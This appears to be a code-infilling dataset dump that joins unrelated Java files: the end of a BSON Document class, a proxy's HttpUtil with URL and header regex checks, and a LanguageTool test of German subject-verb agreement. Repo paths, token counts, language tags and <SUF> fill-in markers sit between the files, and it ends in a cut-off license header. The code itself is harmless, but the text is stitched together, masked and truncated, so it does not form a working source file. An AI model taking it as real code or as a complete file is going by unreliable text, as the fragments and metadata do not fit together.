public <T> List<T> getList(final Object key, final Class<T> clazz, final List<T> defaultValue) {
notNull("defaultValue", defaultValue);
notNull("clazz", clazz);
return constructValuesList(key, clazz, defaultValue);
}
// Construct the list of values for the specified key, or return the default value if the value is null.
// A ClassCastException will be thrown if an element in the list is not of type T.
@SuppressWarnings("unchecked")
private <T> List<T> constructValuesList(final Object key, final Class<T> clazz, final List<T> defaultValue) {
List<T> value = get(key, List.class);
if (value == null) {
return defaultValue;
}
for (Object item : value) {
if (item != null && !clazz.isAssignableFrom(item.getClass())) {
throw new ClassCastException(format("List element cannot be cast to %s", clazz.getName()));
}
}
return value;
}
/**
* Gets a JSON representation of this document using the {@link org.bson.json.JsonMode#RELAXED} output mode, and otherwise the default
* settings of {@link JsonWriterSettings.Builder} and {@link DocumentCodec}.
*
* @return a JSON representation of this document
* @throws org.bson.codecs.configuration.CodecConfigurationException if the document contains types not in the default registry
* @see #toJson(JsonWriterSettings)
* @see JsonWriterSettings
*/
public String toJson() {
return toJson(JsonWriterSettings.builder().outputMode(JsonMode.RELAXED).build());
}
/**
* Gets a JSON representation of this document
*
* <p>With the default {@link DocumentCodec}.</p>
*
* @param writerSettings the json writer settings to use when encoding
* @return a JSON representation of this document
* @throws org.bson.codecs.configuration.CodecConfigurationException if the document contains types not in the default registry
*/
public String toJson(final JsonWriterSettings writerSettings) {
return toJson(writerSettings, DEFAULT_CODEC);
}
/**
* Gets a JSON representation of this document
*
* <p>With the default {@link JsonWriterSettings}.</p>
*
* @param encoder the document codec instance to use to encode the document
* @return a JSON representation of this document
* @throws org.bson.codecs.configuration.CodecConfigurationException if the registry does not contain a codec for the document values.
*/
public String toJson(final Encoder<Document> encoder) {
return toJson(JsonWriterSettings.builder().outputMode(JsonMode.RELAXED).build(), encoder);
}
/**
* Gets a JSON representation of this document
*
* @param writerSettings the json writer settings to use when encoding
* @param encoder the document codec instance to use to encode the document
* @return a JSON representation of this document
* @throws org.bson.codecs.configuration.CodecConfigurationException if the registry does not contain a codec for the document values.
*/
public String toJson(final JsonWriterSettings writerSettings, final Encoder<Document> encoder) {
JsonWriter writer = new JsonWriter(new StringWriter(), writerSettings);
encoder.encode(writer, this, EncoderContext.builder().build());
return writer.getWriter().toString();
}
// Vanilla Map<SUF>
@Override
public int size() {
return documentAsMap.size();
}
@Override
public boolean isEmpty() {
return documentAsMap.isEmpty();
}
@Override
public boolean containsValue(final Object value) {
return documentAsMap.containsValue(value);
}
@Override
public boolean containsKey(final Object key) {
return documentAsMap.containsKey(key);
}
@Override
public Object get(final Object key) {
return documentAsMap.get(key);
}
@Override
public Object put(final String key, final Object value) {
return documentAsMap.put(key, value);
}
@Override
public Object remove(final Object key) {
return documentAsMap.remove(key);
}
@Override
public void putAll(final Map<? extends String, ?> map) {
documentAsMap.putAll(map);
}
@Override
public void clear() {
documentAsMap.clear();
}
@Override
public Set<String> keySet() {
return documentAsMap.keySet();
}
@Override
public Collection<Object> values() {
return documentAsMap.values();
}
@Override
public Set<Map.Entry<String, Object>> entrySet() {
return documentAsMap.entrySet();
}
@Override
public boolean equals(final Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
Document document = (Document) o;
if (!documentAsMap.equals(document.documentAsMap)) {
return false;
}
return true;
}
@Override
public int hashCode() {
return documentAsMap.hashCode();
}
@Override
public String toString() {
return "Document{"
+ documentAsMap
+ '}';
}
}
|
8823_0 | package com.github.monkeywie.proxyee.util;
import io.netty.handler.codec.http.HttpHeaderNames;
import io.netty.handler.codec.http.HttpHeaders;
import io.netty.handler.codec.http.HttpRequest;
import io.netty.handler.codec.http.HttpResponse;
import io.netty.util.AsciiString;
public class HttpUtil {
/**
* 检测url是否匹配
*/
public static boolean checkUrl(HttpRequest httpRequest, String regex) {
String host = httpRequest.headers().get(HttpHeaderNames.HOST);
if (host != null && regex != null) {
String url;
if (httpRequest.uri().indexOf("/") == 0) {
if (httpRequest.uri().length() > 1) {
url = host + httpRequest.uri();
} else {
url = host;
}
} else {
url = httpRequest.uri();
}
return url.matches(regex);
}
return false;
}
/**
* 检测头中的值是否为预期
*
* @param httpHeaders
* @param name
* @param regex
* @return
*/
public static boolean checkHeader(HttpHeaders httpHeaders, AsciiString name, String regex) {
String s = httpHeaders.get(name);
return s != null && s.matches(regex);
}
/**
* 检测是否为请求网页资源
*/
public static boolean isHtml(HttpRequest httpRequest, HttpResponse httpResponse) {
String accept = httpRequest.headers().get(HttpHeaderNames.ACCEPT);
String contentType = httpResponse.headers().get(HttpHeaderNames.CONTENT_TYPE);
return httpResponse.status().code() == 200 && accept != null && accept
.matches("^.*text/html.*$") && contentType != null && contentType
.matches("^text/html.*$");
}
}
| monkeyWie/proxyee | src/main/java/com/github/monkeywie/proxyee/util/HttpUtil.java | 509 | /**
* 检测url是否匹配
*/ | block_comment | nl | package com.github.monkeywie.proxyee.util;
import io.netty.handler.codec.http.HttpHeaderNames;
import io.netty.handler.codec.http.HttpHeaders;
import io.netty.handler.codec.http.HttpRequest;
import io.netty.handler.codec.http.HttpResponse;
import io.netty.util.AsciiString;
public class HttpUtil {
/**
* 检测url是否匹配
<SUF>*/
public static boolean checkUrl(HttpRequest httpRequest, String regex) {
String host = httpRequest.headers().get(HttpHeaderNames.HOST);
if (host != null && regex != null) {
String url;
if (httpRequest.uri().indexOf("/") == 0) {
if (httpRequest.uri().length() > 1) {
url = host + httpRequest.uri();
} else {
url = host;
}
} else {
url = httpRequest.uri();
}
return url.matches(regex);
}
return false;
}
/**
* 检测头中的值是否为预期
*
* @param httpHeaders
* @param name
* @param regex
* @return
*/
public static boolean checkHeader(HttpHeaders httpHeaders, AsciiString name, String regex) {
String s = httpHeaders.get(name);
return s != null && s.matches(regex);
}
/**
* 检测是否为请求网页资源
*/
public static boolean isHtml(HttpRequest httpRequest, HttpResponse httpResponse) {
String accept = httpRequest.headers().get(HttpHeaderNames.ACCEPT);
String contentType = httpResponse.headers().get(HttpHeaderNames.CONTENT_TYPE);
return httpResponse.status().code() == 200 && accept != null && accept
.matches("^.*text/html.*$") && contentType != null && contentType
.matches("^text/html.*$");
}
}
|
160491_48 | /* LanguageTool, a natural language style checker
* Copyright (C) 2015 Daniel Naber (http://www.danielnaber.de)
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301
* USA
*/
package org.languagetool.rules.de;
import org.junit.Assert;
import org.junit.BeforeClass;
import org.junit.Test;
import org.languagetool.AnalyzedTokenReadings;
import org.languagetool.JLanguageTool;
import org.languagetool.TestTools;
import org.languagetool.chunking.GermanChunker;
import org.languagetool.language.German;
import org.languagetool.rules.RuleMatch;
import java.io.IOException;
import java.util.Arrays;
import java.util.List;
import static junit.framework.TestCase.assertFalse;
import static junit.framework.TestCase.assertTrue;
public class SubjectVerbAgreementRuleTest {
private static SubjectVerbAgreementRule rule;
private static JLanguageTool langTool;
@BeforeClass
public static void setUp() {
rule = new SubjectVerbAgreementRule(TestTools.getMessages("de"));
langTool = new JLanguageTool(new German());
}
@Test
public void testTemp() throws IOException {
// For debugging, comment in the next three lines:
//GermanChunker.setDebug(true);
//assertGood("...");
//assertBad("...");
// Hier ist (auch: sind) sowohl Anhalten wie Parken verboten.
// TODO - false alarms from Tatoeba and Wikipedia:
// "Die restlichen sechsundachtzig oder siebenundachtzig Prozent sind in der Flasche.",
// "Die Führung des Wortes in Unternehmensnamen ist nur mit Genehmigung zulässig.", // OpenNLP doesn't find 'Unternehmensnamen' as a noun
// "Die ältere der beiden Töchter ist hier.",
// "Liebe und Hochzeit sind nicht das Gleiche."
// "Die Typologie oder besser Typographie ist die Klassifikation von Objekten"
// "Im Falle qualitativer, quantitativer und örtlicher Veränderung ist dies ein konkretes Einzelding,"
// "...zu finden, in denen die Päpste selbst Partei waren."
// "Hauptfigur der beiden Bücher ist Golan Trevize."
// "Das größte und bekannteste Unternehmen dieses Genres ist der Cirque du Soleil."
// "In Schweden, Finnland, Dänemark und Österreich ist die Haltung von Wildtieren erlaubt."
// "Die einzige Waffe, die keine Waffe der Gewalt ist: die Wahrheit."
// "Du weißt ja wie töricht Verliebte sind."
// "Freies Assoziieren und Phantasieren ist erlaubt."
// "In den beiden Städten Bremen und Bremerhaven ist jeweils eine Müllverbrennungsanlage in Betrieb."
// "Hauptstadt und größte Stadt des Landes ist Sarajevo."
// "Durch Rutschen, Fallrohre oder Schläuche ist der Beton bis in die Schalung zu leiten."
// "Wegen ihres ganzen Erfolgs war sie unglücklich."
// "Eines der bedeutendsten Museen ist das Museo Nacional de Bellas Artes."
// "Die Nominierung der Filme sowie die Auswahl der Jurymitglieder ist Aufgabe der Festivaldirektion."
// "Ehemalige Fraktionsvorsitzende waren Schmidt, Kohl und Merkel."
// "Die Hälfte der Äpfel sind verfault."
// "... in der Geschichte des Museums, die Sammlung ist seit März 2011 dauerhaft der Öffentlichkeit zugänglich."
// "Ein gutes Aufwärmen und Dehnen ist zwingend notwendig."
// "Eine Stammfunktion oder ein unbestimmtes Integral ist eine mathematische Funktion ..."
// "Wenn die Begeisterung für eine Person, Gruppe oder Sache religiöser Art ist ..."
// "Ein Staat, dessen Oberhaupt nicht ein König oder eine Königin ist."
// "Des Menschen größter Feind und bester Freund ist ein anderer Mensch."
// "Die Nauheimer Musiktage, die zu einer Tradition geworden sind und immer wieder ein kultureller Höhepunkt sind."
// "Ein erheblicher Teil der anderen Transportmaschinen waren schwerbeschädigt." // ??
// "Die herrschende Klasse und die Klassengesellschaft war geboren." // ??
// "Russland ist der größte Staat der Welt und der Vatikan ist der kleinste Staat der Welt.",
// "Eine Rose ist eine Blume und eine Taube ist ein Vogel.",
// "Der beste Beobachter und der tiefste Denker ist immer der mildeste Richter.",
//assertGood("Dumas ist der Familienname folgender Personen."); // Dumas wird als Plural von Duma erkannt
//assertGood("Berlin war Hauptstadt des Vergnügens und der Wintergarten war angesagt."); // wg. 'und'
//assertGood("Elemente eines axiomatischen Systems sind:"); // 'Elemente' ist ambig (SIN, PLU)
//assertGood("Auch wenn Dortmund größte Stadt und ein Zentrum dieses Raums ist."); // unsere 'und'-Regel darf hier nicht matchen
//assertGood("Die Zielgruppe waren Glaubensangehörige im Ausland sowie Reisende."); // Glaubensangehörige hat kein Plural-Reading in Morphy
}
@Test
public void testPrevChunkIsNominative() throws IOException {
assertTrue(rule.prevChunkIsNominative(getTokens("Die Katze ist süß"), 2));
assertTrue(rule.prevChunkIsNominative(getTokens("Das Fell der Katzen ist süß"), 4));
assertFalse(rule.prevChunkIsNominative(getTokens("Dem Mann geht es gut."), 2));
assertFalse(rule.prevChunkIsNominative(getTokens("Dem alten Mann geht es gut."), 2));
assertFalse(rule.prevChunkIsNominative(getTokens("Beiden Filmen war kein Erfolg beschieden."), 2));
assertFalse(rule.prevChunkIsNominative(getTokens("Aber beiden Filmen war kein Erfolg beschieden."), 3));
//assertFalse(rule.prevChunkIsNominative(getTokens("Der Katzen Fell ist süß"), 3));
}
private AnalyzedTokenReadings[] getTokens(String s) throws IOException {
return langTool.getAnalyzedSentence(s).getTokensWithoutWhitespace();
}
@Test
public void testRuleWithIncorrectSingularVerb() throws IOException {
List<String> sentences = Arrays.asList(
"Die Autos ist schnell.",
"Der Hund und die Katze ist draußen.",
"Ein Hund und eine Katze ist schön.",
"Der Hund und die Katze ist schön.",
"Der große Hund und die Katze ist schön.",
"Der Hund und die graue Katze ist schön.",
"Der große Hund und die graue Katze ist schön.",
"Die Kenntnisse ist je nach Bildungsgrad verschieden.",
"Die Kenntnisse der Sprachen ist je nach Bildungsgrad verschieden.",
"Die Kenntnisse der Sprache ist je nach Bildungsgrad verschieden.",
"Die Kenntnisse der europäischen Sprachen ist je nach Bildungsgrad verschieden.",
"Die Kenntnisse der neuen europäischen Sprachen ist je nach Bildungsgrad verschieden.",
"Die Kenntnisse der deutschen Sprache ist je nach Bildungsgrad verschieden.",
"Die Kenntnisse der aktuellen deutschen Sprache ist je nach Bildungsgrad verschieden.",
"Drei Katzen ist im Haus.",
"Drei kleine Katzen ist im Haus.",
"Viele Katzen ist schön.",
"Drei Viertel der Erdoberfläche ist Wasser.", // http://canoo.net/blog/2012/04/02/ein-drittel-der-schueler-istsind/
"Die ältesten und bekanntesten Maßnahmen ist die Einrichtung von Schutzgebieten.",
"Ein Gramm Pfeffer waren früher wertvoll.",
"Isolation und ihre Überwindung ist ein häufiges Thema in der Literatur."
//"Katzen ist schön."
);
for (String sentence : sentences) {
assertBad(sentence);
}
}
@Test
public void testRuleWithCorrectSingularVerb() throws IOException {
List<String> sentences = Arrays.asList(
"Die Katze ist schön.",
"Die eine Katze ist schön.",
"Eine Katze ist schön.",
"Beiden Filmen war kein Erfolg beschieden.",
"In einigen Fällen ist der vermeintliche Beschützer schwach.",
"Was Wasser für die Fische ist.",
"In den letzten Jahrzehnten ist die Zusammenarbeit der Astronomie verbessert worden.",
"Für Oberleitungen bei elektrischen Bahnen ist es dagegen anders.",
"... deren Thema die Liebe zwischen männlichen Charakteren ist.",
"Mehr als das in westlichen Produktionen der Fall ist.",
"Da das ein fast aussichtsloses Unterfangen ist.",
"Was sehr verbreitet bei der Synthese organischer Verbindungen ist.",
"In chemischen Komplexverbindungen ist das Kation wichtig.",
"In chemischen Komplexverbindungen ist das As5+-Kation wichtig.",
"Die selbstständige Behandlung psychischer Störungen ist jedoch ineffektiv.",
"Die selbstständige Behandlung eigener psychischer Störungen ist jedoch ineffektiv.",
"Im Gegensatz zu anderen akademischen Berufen ist es in der Medizin durchaus üblich ...",
"Im Unterschied zu anderen Branchen ist Ärzten anpreisende Werbung verboten.",
"Aus den verfügbaren Quellen ist es ersichtlich.",
"Das Mädchen mit den langen Haaren ist Judy.",
"Der Durchschnitt offener Mengen ist nicht notwendig offen.",
"Der Durchschnitt vieler offener Mengen ist nicht notwendig offen.",
"Der Durchschnitt unendlich vieler offener Mengen ist nicht notwendig offen.",
"Der Ausgangspunkt für die heute gebräuchlichen Alphabete ist ...",
"Nach sieben männlichen Amtsvorgängern ist Merkel ...",
"Für einen japanischen Hamburger ist er günstig.",
"Derzeitiger Bürgermeister ist seit 2008 der ehemalige Minister Müller.",
"Derzeitiger Bürgermeister der Stadt ist seit 2008 der ehemalige Minister Müller.",
"Die Eingabe mehrerer assoziativer Verknüpfungen ist beliebig.",
"Die inhalative Anwendung anderer Adrenalinpräparate zur Akutbehandlung asthmatischer Beschwerden ist somit außerhalb der arzneimittelrechtlichen Zulassung.",
"Die Kategorisierung anhand morphologischer Merkmale ist nicht objektivierbar.",
"Die Kategorisierung mit morphologischen Merkmalen ist nicht objektivierbar.",
"Ute, deren Hauptproblem ihr Mangel an Problemen ist, geht baden.",
"Ute, deren Hauptproblem ihr Mangel an realen Problemen ist, geht baden.",
"In zwei Wochen ist Weihnachten.",
"In nur zwei Wochen ist Weihnachten.",
"Mit chemischen Methoden ist es möglich, das zu erreichen.",
"Für die Stadtteile ist auf kommunalpolitischer Ebene jeweils ein Beirat zuständig.",
"Für die Stadtteile und selbständigen Ortsteile ist auf kommunalpolitischer Ebene jeweils ein Beirat zuständig.",
"Die Qualität der Straßen ist unterschiedlich.",
"In deutschen Installationen ist seit Version 3.3 ein neues Feature vorhanden.",
"In deren Installationen ist seit Version 3.3 ein neues Feature vorhanden.",
"In deren deutschen Installationen ist seit Version 3.3 ein neues Feature vorhanden.",
"Die Führung des Wortes in Unternehmensnamen ist nur mit Genehmigung zulässig.",
"Die Führung des Wortes in Unternehmensnamen und Institutionen ist nur mit Genehmigung zulässig.",
"Die Hintereinanderreihung mehrerer Einheitenvorsatznamen oder Einheitenvorsatzzeichen ist nicht zulässig.",
"Eines ihrer drei Autos ist blau und die anderen sind weiß.",
"Eines von ihren drei Autos ist blau und die anderen sind weiß.",
"Bei fünf Filmen war Robert F. Boyle für das Production Design verantwortlich.",
"Insbesondere das Wasserstoffatom als das einfachste aller Atome war dabei wichtig.",
"In den darauf folgenden Wochen war die Partei führungslos",
"Gegen die wegen ihrer Schönheit bewunderte Phryne ist ein Asebie-Prozess überliefert.",
"Dieses für Ärzte und Ärztinnen festgestellte Risikoprofil ist berufsunabhängig.",
"Das ist problematisch, da kDa eine Masseeinheit und keine Gewichtseinheit ist.",
"Nach sachlichen oder militärischen Kriterien war das nicht nötig.",
"Die Pyramide des Friedens und der Eintracht ist ein Bauwerk.",
"Ohne Architektur der Griechen ist die westliche Kultur der Neuzeit nicht denkbar.",
"Ohne Architektur der Griechen und Römer ist die westliche Kultur der Neuzeit nicht denkbar.",
"Ohne Architektur und Kunst der Griechen und Römer ist die westliche Kultur der Neuzeit nicht denkbar.",
"In denen jeweils für eine bestimmte Anzahl Elektronen Platz ist.",
"Mit über 1000 Handschriften ist Aristoteles ein Vielschreiber.",
"Mit über neun Handschriften ist Aristoteles ein Vielschreiber.",
"Die Klammerung assoziativer Verknüpfungen ist beliebig.",
"Die Klammerung mehrerer assoziativer Verknüpfungen ist beliebig.",
"Einen Sonderfall bildete jedoch Ägypten, dessen neue Hauptstadt Alexandria eine Gründung Alexanders und der Ort seines Grabes war.",
"Jeder Junge und jedes Mädchen war erfreut.",
"Jedes Mädchen und jeder Junge war erfreut.",
"Jede Frau und jeder Junge war erfreut.",
"Als Wissenschaft vom Erleben des Menschen einschließlich der biologischen Grundlagen ist die Psychologie interdisziplinär.",
"Als Wissenschaft vom Erleben des Menschen einschließlich der biologischen und sozialen Grundlagen ist die Psychologie interdisziplinär.",
"Als Wissenschaft vom Erleben des Menschen einschließlich der biologischen und neurowissenschaftlichen Grundlagen ist die Psychologie interdisziplinär.", // 'neurowissenschaftlichen' not known
"Als Wissenschaft vom Erleben und Verhalten des Menschen einschließlich der biologischen bzw. sozialen Grundlagen ist die Psychologie interdisziplinär.",
"Alle vier Jahre ist dem Volksfest das Landwirtschaftliche Hauptfest angeschlossen.",
"Aller Anfang ist schwer.",
"Alle Dichtung ist zudem Darstellung von Handlungen.",
"Allen drei Varianten ist gemeinsam, dass meistens nicht unter bürgerlichem...",
"Er sagte, dass es neun Uhr war.",
"Auch den Mädchen war es untersagt, eine Schule zu besuchen.",
"Das dazugehörende Modell der Zeichen-Wahrscheinlichkeiten ist unter Entropiekodierung beschrieben.",
"Ein über längere Zeit entladener Akku ist zerstört.",
"Der Fluss mit seinen Oberläufen Río Paraná und Río Uruguay ist der wichtigste Wasserweg.",
"In den alten Mythen und Sagen war die Eiche ein heiliger Baum.",
"In den alten Religionen, Mythen und Sagen war die Eiche ein heiliger Baum.",
"Zehn Jahre ist es her, seit ich mit achtzehn nach Tokio kam.",
"Bei den niedrigen Oberflächentemperaturen ist Wassereis hart wie Gestein.",
"Bei den sehr niedrigen Oberflächentemperaturen ist Wassereis hart wie Gestein.",
"Die älteste und bekannteste Maßnahme ist die Einrichtung von Schutzgebieten.",
"Die größte Dortmunder Grünanlage ist der Friedhof.",
"Die größte Berliner Grünanlage ist der Friedhof.",
"Die größte Bielefelder Grünanlage ist der Friedhof.",
"Die Pariser Linie ist hier mit 2,2558 mm gerechnet.",
"Die Frankfurter Innenstadt ist 7 km entfernt.",
"Die Dortmunder Konzernzentrale ist ein markantes Gebäude an der Bundesstraße 1.",
"Die Düsseldorfer Brückenfamilie war ursprünglich ein Sammelbegriff.",
"Die Düssel ist ein rund 40 Kilometer langer Fluss.",
"Die Berliner Mauer war während der Teilung Deutschlands die Grenze.",
"Für amtliche Dokumente und Formulare ist das anders.",
"Wie viele Kilometer ist ihre Stadt von unserer entfernt?",
"Über laufende Sanierungsmaßnahmen ist bislang nichts bekannt.",
"In den letzten zwei Monate war ich fleißig wie eine Biene.",
"Durch Einsatz größerer Maschinen und bessere Kapazitätsplanung ist die Zahl der Flüge gestiegen.",
"Die hohe Zahl dieser relativ kleinen Verwaltungseinheiten ist immer wieder Gegenstand von Diskussionen.",
"Teil der ausgestellten Bestände ist auch die Bierdeckel-Sammlung.",
"Teil der umfangreichen dort ausgestellten Bestände ist auch die Bierdeckel-Sammlung.",
"Teil der dort ausgestellten Bestände ist auch die Bierdeckel-Sammlung.",
"Der zweite Teil dieses Buches ist in England angesiedelt.",
"Eine der am meisten verbreiteten Krankheiten ist die Diagnose",
"Eine der verbreitetsten Krankheiten ist hier.",
"Die Krankheit unserer heutigen Städte und Siedlungen ist folgendes.",
"Die darauffolgenden Jahre war er ...",
"Die letzten zwei Monate war ich fleißig wie eine Biene.",
"Bei sehr guten Beobachtungsbedingungen ist zu erkennen, dass ...",
"Die beste Rache für Undank und schlechte Manieren ist Höflichkeit.",
"Ein Gramm Pfeffer war früher wertvoll.",
"Die größte Stuttgarter Grünanlage ist der Friedhof.",
"Mancher will Meister sein und ist kein Lehrjunge gewesen.",
"Ellen war vom Schock ganz bleich.", // Ellen: auch Plural von Elle
"Nun gut, die Nacht ist sehr lang, oder?",
"Der Morgen ist angebrochen, die lange Nacht ist vorüber.",
"Die stabilste und häufigste Oxidationsstufe ist dabei −1.",
"Man kann nicht eindeutig zuordnen, wer Täter und wer Opfer war.",
"Ich schätze, die Batterie ist leer.",
"Der größte und schönste Tempel eines Menschen ist in ihm selbst.",
"Begehe keine Dummheit zweimal, die Auswahl ist doch groß genug!",
"Seine größte und erfolgreichste Erfindung war die Säule.",
"Egal was du sagst, die Antwort ist Nein.",
"... in der Geschichte des Museums, die Sammlung ist seit 2011 zugänglich.",
"Deren Bestimmung und Funktion ist allerdings nicht so klar.",
"Sie hat eine Tochter, die Pianistin ist.",
"Ja, die Milch ist sehr gut.",
"Der als Befestigung gedachte östliche Teil der Burg ist weitgehend verfallen.",
"Das Kopieren und Einfügen ist sehr nützlich.",
"Der letzte der vier großen Flüsse ist die Kolyma.",
"In christlichen, islamischen und jüdischen Traditionen ist das höchste Ziel der meditativen Praxis.",
"Der Autor der beiden Spielbücher war Markus Heitz selbst.",
"Der Autor der ersten beiden Spielbücher war Markus Heitz selbst.",
"Das Ziel der elf neuen Vorstandmitglieder ist klar definiert.",
"Laut den meisten Quellen ist das Seitenverhältnis der Nationalflagge..."
);
for (String sentence : sentences) {
assertGood(sentence);
}
}
@Test
public void testRuleWithIncorrectPluralVerb() throws IOException {
List<String> sentences = Arrays.asList(
"Die Katze sind schön.",
"Die Katze waren schön.",
"Der Text sind gut.",
"Das Auto sind schnell.",
//"Herr Müller sind alt." -- Müller has a plural reading
"Herr Schröder sind alt.",
"Julia und Karsten ist alt.",
"Julia, Heike und Karsten ist alt.",
"Herr Karsten Schröder sind alt."
//"Die heute bekannten Bonsai sind häufig im japanischen Stil gestaltet." // plural: Bonsais (laut Duden) - sollte von AgreementRule gefunden werden
);
for (String sentence : sentences) {
assertBad(sentence);
}
}
@Test
public void testRuleWithCorrectPluralVerb() throws IOException {
List<String> sentences = Arrays.asList(
"Die Katzen sind schön.",
"Frau Meier und Herr Müller sind alt.",
"Frau Julia Meier und Herr Karsten Müller sind alt.",
"Julia und Karsten sind alt.",
"Julia, Heike und Karsten sind alt.",
"Frau und Herr Müller sind alt.",
"Herr und Frau Schröder sind alt.",
"Herr Meier und Frau Schröder sind alt.",
"Die restlichen 86 Prozent sind in der Flasche.",
"Die restlichen sechsundachtzig Prozent sind in der Flasche.",
"Die restlichen 86 oder 87 Prozent sind in der Flasche.",
"Die restlichen 86 % sind in der Flasche.",
"Durch den schnellen Zerfall des Actiniums waren stets nur geringe Mengen verfügbar.",
"Soda und Anilin waren die ersten Produkte des Unternehmens.",
"Bob und Tom sind Brüder.",
"Letztes Jahr sind wir nach London gegangen.",
"Trotz des Regens sind die Kinder in die Schule gegangen.",
"Die Zielgruppe sind Männer.",
"Männer sind die Zielgruppe.",
"Die Zielgruppe sind meist junge Erwachsene.",
"Die USA sind ein repräsentativer demokratischer Staat.",
"Wesentliche Eigenschaften der Hülle sind oben beschrieben.",
"Wesentliche Eigenschaften der Hülle sind oben unter Quantenmechanische Atommodelle und Erklärung grundlegender Atomeigenschaften dargestellt.",
"Er und seine Schwester sind eingeladen.",
"Er und seine Schwester sind zur Party eingeladen.",
"Sowohl er als auch seine Schwester sind zur Party eingeladen.",
"Rekonstruktionen oder der Wiederaufbau sind wissenschaftlich sehr umstritten.",
"Form und Materie eines Einzeldings sind aber nicht zwei verschiedene Objekte.",
"Dieses Jahr sind die Birnen groß.",
"Es so umzugestalten, dass sie wie ein Spiel sind.",
"Die Zielgruppe sind meist junge Erwachsene.",
"Die Ursache eines Hauses sind so Ziegel und Holz.",
"Vertreter dieses Ansatzes sind unter anderem Roth und Meyer.",
"Sowohl sein Vater als auch seine Mutter sind tot.",
"Einige der Inhaltsstoffe sind schädlich.",
"Diese Woche sind wir schon einen großen Schritt weiter.",
"Diese Woche sind sie hier.",
"Vorsitzende des Vereins waren:",
"Weder Gerechtigkeit noch Freiheit sind möglich, wenn nur das Geld regiert.",
"Ein typisches Beispiel sind Birkenpollenallergene.",
"Eine weitere Variante sind die Miniatur-Wohnlandschaften.",
"Eine Menge englischer Wörter sind aus dem Lateinischen abgeleitet.",
"Völkerrechtlich umstrittenes Territorium sind die Falklandinseln.",
"Einige dieser älteren Synthesen sind wegen geringer Ausbeuten ...",
"Einzelne Atome sind klein.",
"Die Haare dieses Jungens sind schwarz.",
"Die wichtigsten Mechanismen des Aminosäurenabbaus sind:",
"Wasserlösliche Bariumverbindungen sind giftig.",
"Die Schweizer Trinkweise ist dabei die am wenigsten etablierte.",
"Die Anordnung der vier Achsen ist damit identisch.",
"Die Nauheimer Musiktage, die immer wieder ein kultureller Höhepunkt sind.",
"Räumliche und zeitliche Abstände sowie die Trägheit sind vom Bewegungszustand abhängig.",
"Solche Gewerbe sowie der Karosseriebau sind traditionell stark vertreten.",
"Hundert Dollar sind doch gar nichts!",
"Sowohl Tom als auch Maria waren überrascht.",
"Robben, die die hauptsächliche Beute der Eisbären sind.",
"Die Albatrosse sind eine Gruppe von Seevögeln",
"Die Albatrosse sind eine Gruppe von großen Seevögeln",
"Die Albatrosse sind eine Gruppe von großen bis sehr großen Seevögeln",
"Vier Elemente, welche der Urstoff aller Körper sind.",
"Die Beziehungen zwischen Kanada und dem Iran sind seitdem abgebrochen.",
"Die diplomatischen Beziehungen zwischen Kanada und dem Iran sind seitdem abgebrochen.",
"Die letzten zehn Jahre seines Lebens war er erblindet.",
"Die letzten zehn Jahre war er erblindet.",
"... so dass Knochenbrüche und Platzwunden die Regel sind.",
"Die Eigentumsverhältnisse an der Gesellschaft sind unverändert geblieben.",
"Gegenstand der Definition sind für ihn die Urbilder.",
"Mindestens zwanzig Häuser sind abgebrannt.",
"Sie hielten geheim, dass sie Geliebte waren.",
"Einige waren verspätet.",
"Kommentare, Korrekturen und Kritik sind verboten.",
"Kommentare, Korrekturen, Kritik sind verboten.",
"Letztere sind wichtig, um die Datensicherheit zu garantieren.",
"Jüngere sind oft davon überzeugt, im Recht zu sein.",
"Verwandte sind selten mehr als Bekannte.",
"Ursache waren die hohe Arbeitslosigkeit und die Wohnungsnot.",
"Ursache waren unter anderem die hohe Arbeitslosigkeit und die Wohnungsnot."
);
for (String sentence : sentences) {
assertGood(sentence);
}
}
@Test
public void testRuleWithCorrectSingularAndPluralVerb() throws IOException {
// Manchmal sind beide Varianten korrekt:
// siehe http://www.canoo.net/services/OnlineGrammar/Wort/Verb/Numerus-Person/ProblemNum.html
List<String> sentences = Arrays.asList(
"So mancher Mitarbeiter und manche Führungskraft ist im Urlaub.",
"So mancher Mitarbeiter und manche Führungskraft sind im Urlaub.",
"Jeder Schüler und jede Schülerin ist mal schlecht gelaunt.",
"Jeder Schüler und jede Schülerin sind mal schlecht gelaunt.",
"Kaum mehr als vier Prozent der Fläche ist für landwirtschaftliche Nutzung geeignet.",
"Kaum mehr als vier Prozent der Fläche sind für landwirtschaftliche Nutzung geeignet.",
"Kaum mehr als vier Millionen Euro des Haushalts ist verplant.",
"Kaum mehr als vier Millionen Euro des Haushalts sind verplant.",
"80 Cent ist nicht genug.", // ugs.
"80 Cent sind nicht genug.",
"1,5 Pfund ist nicht genug.", // ugs.
"1,5 Pfund sind nicht genug.",
"Hier ist sowohl Anhalten wie Parken verboten.",
"Hier sind sowohl Anhalten wie Parken verboten."
);
for (String sentence : sentences) {
assertGood(sentence);
}
}
private void assertGood(String input) throws IOException {
RuleMatch[] matches = getMatches(input);
if (matches.length != 0) {
fail("Got unexpected match(es) for '" + input + "': " + Arrays.toString(matches), input);
}
}
private void assertBad(String input) throws IOException {
int matchCount = getMatches(input).length;
if (matchCount == 0) {
fail("Did not get the expected match for '" + input + "'", input);
}
}
private void fail(String message, String input) throws IOException {
if (!GermanChunker.isDebug()) {
GermanChunker.setDebug(true);
getMatches(input); // run again with debug mode
}
Assert.fail(message);
}
private RuleMatch[] getMatches(String input) throws IOException {
return rule.match(langTool.getAnalyzedSentence(input));
}
} | monperrus/bug-fixes-saner16 | languagetool-org_languagetool/modifiedFiles/8/tests/SubjectVerbAgreementRuleTest.java | 7,777 | // Manchmal sind beide Varianten korrekt: | line_comment | nl | /* LanguageTool, a natural language style checker
* Copyright (C) 2015 Daniel Naber (http://www.danielnaber.de)
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
